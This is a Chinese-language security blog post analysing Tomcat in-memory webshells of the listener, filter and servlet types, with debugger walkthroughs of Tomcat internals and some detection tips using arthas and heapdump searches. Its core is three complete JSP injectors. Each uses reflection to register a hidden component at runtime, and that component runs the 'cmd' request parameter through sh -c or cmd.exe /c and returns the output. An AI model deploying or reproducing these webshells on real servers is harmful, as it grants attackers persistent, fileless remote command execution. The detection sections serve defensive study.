tomcat内存马分析
tj 发表于 四川 WEB安全 1549浏览 · 2024-06-17 13:50

前置知识

参考:https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/ (filter)
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/ (filter)
https://xz.aliyun.com/t/11988?time__1311=mqmx0DBG0QYiqYKDsKoeCwx7qrMW8q74D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-0 (总的)
https://www.freebuf.com/articles/web/274466.html (tomcat的web组件介绍)

分析的时候也是云里雾里的,因此只了解了大概过程,和为什么这样,

搭建Servlet环境:
https://blog.csdn.net/gaoqingliang521/article/details/108677301
这里导入的时候需要导入tomcat下lib的所有包,

客户端发起web请求会依次经过:Listener->Filter->Servlet三个组件,
内存马类型:
1.servlet-api型
通过命令执行动态注册一个新的Listener或者Filter或者Servlet
2.字节码增强型
通过java的instrumentation动态修改已有代码
spring类,controller型,agent型等等

servlet内存马,
一个context对应多个wrapper,wrapper包装servlet,
因此我们需要新建servlet,然后用wrapper去包装,最后将wrapper添加到context的children中,

filter内存马,
ApplicationContextFacade封装了ApplicationContext,
tomcat的ServletContext的实现类为ApplicationContext,
ApplicationContext中封装了StandardContext,

FilterDefs就是由ApplicationFilterConfigContext的构造函数来定义的,ApplicationFilterConfigContext会生成FilterConfigs,
FilterDefs:FilterDef数组,存放过滤器名,过滤器实列,
FilterConfigs:FilterConfig数组,存放FilterDef和Filter对象,
FilterMaps:FilterMap数组,存放了FilterName 和 对应的URLPattern
以上三个参数组合后能实现与web.xml相同的作用,
如下:
2617行,filterstart函数中,filterDefs的存在两个filterDef,一个是系统自带的,一个是我们自定义的selfFilter,
2626行,使用ApplicationFilterConfig类去生成filterConfig,这里的参数,正是filterDef,
2627行,将filterconfig传入个filterconfigs数组,

filterDefs被filterconfigs包含,

实现filter内存马:
创建恶意类,
使用FilterDef对filter进行封装,
将FilterDef放入FilterDefs,将FilterDefs放入FilterConfigs中,

创建新的FilterMap将url和filter,然后添加到FilterMaps中,
最终循环FilterMaps,如果相应的filter名在FilterConfigs中,则去执行相应Filter的dofilter函数,

在servlet环境中,request对象实际为RequestFacade对象,它的request属性存储着Request对象,
Request对象的getcontext函数能拿到Context,

分析listener

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter> <filter-name>filter</filter-name>
        <filter-class>org.example.SelfFilter</filter-class>
    </filter>
    <filter-mapping> <filter-name>filter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <listener>
        <listener-class>org.example.SelfListen</listener-class>
    </listener>
</web-app>

SelfLinsten.java

package org.example;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class SelfListen implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroy Listener!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initial Listener!");
    }
}

每次请求时,都会去创建监听器和销毁监听器,

在requestInitialized打断点,

这里的listen由3720行的getApplicationEventListeners()函数获取的,

获取的时standardcontext的applicationEventListenersList,

使用 addApplicationEventListener函数添加applicationEventListenersList,

因此我们需要自定义监听器,
然后通过 addApplicationEventListener去添加监听器,getApplicationEventListeners()函数就会去获取监听器,然后运行监听器的requestInitialized和requestDestroyed函数,

listener型内存马

新建我们的listen内存马,
CmdListen.jsp

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    //获取standardContext
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    ServletRequestListener listener = new ServletRequestListener() {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            HttpServletResponse resp = request1.getResponse();
            if (req.getParameter("cmd") != null) {
                try {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    resp.getWriter().write(out);
                    resp.getWriter().flush();
                }catch (IOException ioe){
                    ioe.printStackTrace();
                }
            }
        }
    };
    standardContext.addApplicationEventListener(listener);
    out.println("inject done!");
    out.flush();
%>

访问http://localhost:8080/servlet/listen_ma.jsp,成功注入,
访问一次jsp,就会添加一个listen,因此只要访问网站,不需要特点的url,都能命令执行成功,


排查listener型内存马
sc *.Servlet,

jad org.apache.jsp.listen_005fma_jsp,反编译文件,发现了内存马,或者heapdump后进行关键字分析,

这个工具和filter是一样的,不过这个脚本kill我们的listen内存马失败,

分析filter

在此下断点,

此时使用filterChain.doFilter调用到我们自定义的filter,


这里我们需要了解filterlChains是怎么来的,

在createFilterChain函数上打断点,

在createFilterChain函数中,
先从context获取filterMaps,

这里可以利用addFilterMapBefore函数增加filtermap,

61行使用filterMaps中的数据去匹配filter的信息(filter名和作用的URL),与context中的filterconfigs匹配,
匹配成功则将filtermaps中的数据转换成filterconfig,然后加入到filterChain中,

之后再判断一下servlet,然后就返回了filterChains,

因此,我们需要获取context,然后利用addFilterMapBefore加入filterMap ,
可以利用FilterMap设置(设置url和filter名),

再添加context中的filterconfig,增加一个filter名,才能与context中的filterMaps匹配成功,

因此我们需要找filterMap是怎么产生的,
58行定义了filterMap,使用ApplicationFilterConfig类产生的,

不过传入的参数还要filterDef,那么我们也可以利用filterDef类去设置,

filter型内存马

编写一个servlet,
TestServlet.java

package org.example;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        resp.getWriter().write("servlet");
    }
}

自定义filter,
SelfFilter.java

package org.example;


import javax.servlet.*;
import java.io.IOException;

public class SelfFilter implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("SelfFilter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("SelfFilter执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

在web.xml中给/TestServletl路由添加org.example.SelfFilter,
web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter> <filter-name>filter</filter-name>
        <filter-class>org.example.SelfFilter</filter-class>
    </filter>
    <filter-mapping> <filter-name>filter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

这样我们访问/TestServletl时就会执行我们自定义的filter,

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20240617213820-dc512e8c-2cae-1.png)
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20240617213832-e39737cc-2cae-1.png)

内存马servlet_ma.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    //获取ApplicationContext(ServletContext),
    Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
    appContextField.setAccessible(true);
    //获取ApplicationContext中的StandardContext,
    Field standardContextField = ApplicationContext.class.getDeclaredField("context");
    standardContextField.setAccessible(true);

    //获取ServletContext,
    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    //获取StandardContext,
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {

        }

    };
    //设置FilterDef,
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("cmdFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    //利用ApplicationFilterConfig传入filterDef设置filterConfig,
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    //设置filterConfigs,存放filterConfig,
    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("cmdFilter", filterConfig);

    //设置filterMap(设置拦截的filter和路由)
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("cmdFilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    out.println("Inject done");
%>

访问http://localhost:8080/servlet/servlet_ma.jsp,内存马注入成功,

可以看到,此时我们自定义的filter也执行了,

排查filter型内存马

使用arthas
开启arthas,java -jar arthas-boot.jar

mbean | grep "name=/",查看servlet,
(这里如果是favicon.ico,或者一些稀奇古怪的如/111,就可能是内存马)

sc *.Servlet,白色可能是存在可疑的Servlet,

classloader,白色可能是存在可疑的class类,

sc *.Filter,查看FIlter,

jad org.apache.jsp.servlet_005fma_jsp$1,反编译此类,这类正是我们的filter内存马,

还可以heapdump内存,使用strings分析,
查找关键词,strings ./heapdump2024-01-27-15-006356159708872130713.hprof | grep "GET "
可以看到,这里传递的恶意参数正是我们的内存马,

查找我们访问的可疑路径,
strings ./heapdump2024-01-27-15-006356159708872130713.hprof | grep -E "/servlet.*?!" | sort -u

使用java-memshell-scanner
https://github.com/c0ny1/java-memshell-scanner

生成的内存马,

分析servlet

分析servlet

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter> <filter-name>filter</filter-name>
        <filter-class>org.example.SelfFilter</filter-class>
    </filter>
    <filter-mapping> <filter-name>filter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <listener>
        <listener-class>org.example.SelfListen</listener-class>
    </listener>

    <servlet>
        <servlet-name>SelServlet</servlet-name>
        <servlet-class>org.example.SelfServlet</servlet-class> 
    </servlet>

    <servlet-mapping>
        <servlet-name>SelServlet</servlet-name>
        <url-pattern>/self_servlet</url-pattern>
    </servlet-mapping>
</web-app>

SelfServlet.java

package org.example;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class SelfServlet extends HttpServlet {

    @Override
    public void init() throws ServletException {
        System.out.println("servlet has been init!!!");
    }


    @Override
    public void service(HttpServletRequest  req, HttpServletResponse res) throws ServletException, IOException {

        PrintWriter out = res.getWriter();
        out.println("Servlet");
    }

    @Override
    public void destroy() {
        System.out.println("servlet has been destory!!!");
        super.destroy();
    }
}

这里访问http://localhost:8080/servlet/self_servlet ,就新增成功,

在init函数中打断点,


service为我们定义的servlet,

可以发现service由this.servletClass实列化的,

此函数可以更改this.servletClass,

再往上是wrapper调用的allocate,wrapper包装了我们定义的servlet,

那么我们又需要明白wrapper是怎么构造的,从wrapper的值可以知道,是StandardWrapper类,
之后在setServletClass函数中打断点,

发现是this.context.createWrapper()创造的warpper,

最终再使用addchild函数放入context中,

那么创建servlet内存马,
需要获取context,
然后通过createWrapper()函数去新建wrapper,
然后去设置servlet的相关属性,
之后再使用addchild添加到contetxt中,

在此处断点,

在servlet中,我们还需要重写service函数,需要在service函数中构造恶意的数据,
因为这样每次请求servlet都能接收我们的命令,this.service为我们自定义的servlet,

然后在setServlet函数打断点,

最终发现,servlet正是由wrapper来,

servlet型内存马

servlet_ma.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    class S implements Servlet{

        @Override
        public void init(ServletConfig config) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    }
%>

<%
    // ServletContext servletContext =  request.getServletContext();
    // Field appctx = servletContext.getClass().getDeclaredField("context");
    // appctx.setAccessible(true);
    // ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    // Field stdctx = applicationContext.getClass().getDeclaredField("context");
    // stdctx.setAccessible(true);
    // StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    // 更简单的方法 获取StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    S servlet = new S();
    String name = servlet.getClass().getSimpleName();
    Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/servletmama", name);

    out.println("inject success");
%>

排查servlet型内存马

和之前的都是类似的,就不举例了。

0 条评论
某人
表情
可输入 255